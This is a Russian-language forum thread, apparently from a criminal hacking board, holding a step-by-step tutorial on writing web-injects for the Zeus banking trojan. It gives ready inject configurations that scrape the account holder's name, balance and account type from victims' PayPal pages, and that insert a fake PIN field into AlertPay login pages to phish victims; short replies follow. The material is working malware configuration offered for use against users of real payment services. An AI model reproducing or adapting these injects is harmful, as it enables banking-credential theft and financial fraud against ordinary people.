Практика написания инжектов для Zeus на примере PayPal

necro

VIP member
Messages
425
Reputation
137
Reaction score
214
Points
43
Всем привет, в этой статье я покажу на практике как написать инжекты для граббинга баланса, типа, имени холдера.Для работы нам потребуется локальный веб-сервер, билдер и админка зевса,текстовый редактор,браузер опера(по желанию,но в статье буду работать именно с ним) и акк палки.
1.Настройка ПО.
Ставим веб-сервер,зевса.Про это много статей,описывать все по новой небуду.Ставим браузер и редактор.Прошу обратить внимание что в разных браузерах html код обрабатывается по разному.
2.Граббим данные с PayPal.
Для работы я буду использовать свой РУ акк,это неначто по большому счету невлияет.
И так,после входа в ПС видим наизусть знакомый нам интерфейс системы. Что будем грабить с этого акка это имя,баланс,тип.
Жмем правой кнопкой на пустом месте в странице, в контекстном меню выбираем “Проинспектировать элемент” .Увидем следущее:

1666281.jpg


Красным я выделил данные которые будем собирать.
Начнем с имени, шелкаем лкм на нем,раскрываем код:

1695977.jpg


Сделаю небольшое отступление, приведу вырезку по тэгам и флагам.
URL - URL на которую должен срабатывать веб-инжект, можно использовать маску.
флаги - определяет основное условие загрузки, может состоять из нескольких флагов в любом порядке, но с учетом регистра. В настоящее время доступны следующие флаги:
P - запускать веб-инжект при POST запросе на URL.
G - запускать веб-инжект при GET запросе на URL.
L - изменяет предназначение веб-инжекта, если указать этот флаг, то будет получен нужный кусок данных и немедленно сохранен в лог.
F - дополняет флаг L, позволяет записывать результат не в лог, а в отдельный файл.
H - дополняет флаг L, сохраняет нужный кусок данных без вырезания тегов.
D - запускать веб-инжект раз в 24 часа.
После указания URL, со следующей строки начинается перечисление веб-инжектов, которое длится до тех пор, пока не достигнут конец файла или не задана новая URL при помощи очередной записи set_url. Один веб-инжект состоит из трех элементов:
Без флага L:
data_before - маска данных после которых нужно записать новые данные.
data_after - маска данных перед которыми следует записать новые данные.
data_inject - новые данные, на которые будет заменено содержимое между data_before, data_after.
С флагом L:
data_before - маска данных после которых начинается кусок получаемых данных.
data_after - маска данных перед которыми кончается кусок получаемых данных.
data_inject - играет роль заголовка для получаемых данных, нужен лишь для визуального выделения в логах.

Проще говоря data_before ставится перед началом места что будем грабить или откуда будут записываться наши данные, data_after закрывает наш инжект,а data_inject это данные которые будут записаны(html код),при флаге L его можно неставить.Разберем на примере.
На скриншоте я указал где у нас data_before и data_after для граббинга имени.
Для граббинга используется влаг L,поэтому data_inject нас неинтересует.
Как же граббить?
Вначале необходимо установить url при котором он будет запускаться,в нашем случае это сайт paypal.com.Собираем
Код:
Поясняю, set_url-устанавливаем запуск инжекта на наш урл.Далее идет линк
Код:
Сдесь * служит для того чтобы при любом пути(webscr?cmd=_login-done&login_access=1303313700, webscr?cmd=_login-done&login_access=100500 и тд) сработал инжект,в зависимости от стран линк меняется.Например:
Код:
/
и тд.Далее идут флаги GPL.GP для того чтобы инжект запускался при пост и гет запросах,L указывает на то что будем грабить данные.
Расставляем наши метки,для этого ищем подходящие теги в сорце страницы,в нашем случае это <h2> и </h2>.Помещаем в data_before тег <h2>.
data_inject оставляем пустыми.
Цитата: set_url https://www.paypal.com/* GPL
data_before
<h2>
data_end
data_inject
data_end

Закрываем инжект, </h2> находится в конце нужным нам данных,указываем его в data_after.
set_url https://www.paypal.com/* GPL
data_before
<h2>
data_end
data_inject
data_end
data_after
</h2>
data_end

Вот и все,наш 1 инжект готов)Небольшое отступление,вы заметили «<!--googleoff: all-->» и спросите почему он несграбился,этого неслучилось потому-что мы непоставили флаг H,установите его,тогда будут грабиться и теги.
По анологии создаем для грабинга баланса,статуса,типа.Главное понять где правильно указать начало и конец сграбираевымых данных,смотрим в сорц страницы.

1701099.jpg


Сдесь мы будем вырезать данные от «<li class="balance">» и заканчивать на «</span>».Почему не начинать с «<strong>» и заканчивать на «</strong>»?Представьте что между тэгами strong хранятся еще куча других данных которые нас совсем не интересуют,зевс сграбит и их,в этоге получи нужные нам данные,но с примесью мусора. А «<li class="balance">» говорит нам что категория называется баланс.Готовый инжект будет выглядеть так:
set_url https://www.paypal.com/* GPL
data_before
<li class="balance">
data_end
data_inject
data_end
data_after
</span>
data_end

Все впринципе думаю уже ясно,приведу примеры для грабинга типа аккаунта.
set_url https://www.paypal.com/* GPL
data_before
<li class="accTypeList metaDataFirst">
data_end
data_inject
data_end
data_after
</li>
data_end

3.Получаем дополнительные данные.
Сдесь приведу на примере alertpay.com.Дополнительное поле для граббинга PIN.Флаг L больше нам ненужен,будем использовать только GP.
Открываем сорц страницы входа в алерт.Находим место где идет код логина и пароля.Будем ставить дополнительное поле после пароля.Смотрим на скриншот.

1667309.jpg


Красным я выделил начало и конец кода который будем использовать,то есть
<div class="fielditem">
<label for="ctl00_main_loginInfo_txtNewPassword" id="ctl00_main_loginInfo_litPassword">Password</label><br />
<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
</div>

Теперь заменяем слово Password на слово PIN.Получаем:
<div class="fielditem">
<label for="ctl00_main_loginInfo_txtNewPIN" id="ctl00_main_loginInfo_litPIN">PIN</label><br />
<input name="ctl00$main$loginInfo$txtNewPIN" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPIN" tabindex="2" />
</div>

Этот код мы будем инжектить в страницу с помошью тэга data_inject.Теперь нужно все правильно расставить.Из кода смотрим вначале метку для data_before,нам подходит
<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
Заметьте,я добавлю еще кусочек кода от формы пароля(закрывающий </div>).Теперь ставим наш инжект
set_url https://www.alertpay.com/login.aspx GP
data_before
<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
data_end
data_inject
</div>
<div class="fielditem">
<label for="ctl00_main_loginInfo_txtPin" id="ctl00_main_loginInfo_litPassword">Pin</label>
<br/>
<input name="ctl00$main$loginInfo$txtPin" type="password" maxlength="30" id="ctl00_main_loginInfo_txtPin" tabindex="2"/>
</div>
data_end
И закрываем его.
data_after
<div class="message">
data_end
В итоге html код алертпая теперь будет таким:

1647854.jpg


Теперь пользователь перед входом в акк перед собой увидет

1201243.jpg


Полный код инжект для страницы входа и главной.
set_url https://www.alertpay.com/login.aspx GP
data_before
<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
data_end
data_inject
</div>
<div class="fielditem">
<label for="ctl00_main_loginInfo_txtPin" id="ctl00_main_loginInfo_litPassword">Pin</label>
<br/>
<input name="ctl00$main$loginInfo$txtPin" type="password" maxlength="30" id="ctl00_main_loginInfo_txtPin" tabindex="2"/>
</div>
data_end
data_after
<div class="message">
data_end
set_url https://www.alertpay.com/* GP
data_before
<input name="Password" type="password" class="textfield" />
data_end
data_inject
</td>
</tr>
<tr>
<td align="right">
Pin:
</td>
<td>
<input name="Pin" type="password" class="textfield" />
</td>
</tr>
data_end
data_after
<td colspan="2" style="padding:
data_end
Вот и все.Статья была написана с промежутками по времени и по мере возможности.Будут нестыковки и недочеты-пишите поправлю)

Автор статьи sweet_hack
 

necro

VIP member
Messages
425
Reputation
137
Reaction score
214
Points
43
неа, это все что я вообше нашел, и то случайно))) спасибо аквабоксу)).
 

McGrath

Moderator
Messages
1,007
Reputation
135
Reaction score
188
Points
63
Прошу обратить внимание что в разных броузерах html код обрабатывается по разному.
Маленькое прим., по разному отображаются: графически, и броузеры бывают добавляют код(а не изменяют), но уже на рендере. Точнее, зевс будет всё равно работать, в любом броузере, без разницы какой использовать :)
 

Al'Capone

VIP member
Messages
301
Reputation
27
Reaction score
50
Points
28
на воре уже больше года про палку анологичная лежит
 

McGrath

Moderator
Messages
1,007
Reputation
135
Reaction score
188
Points
63
Дату посмотри.
 
Top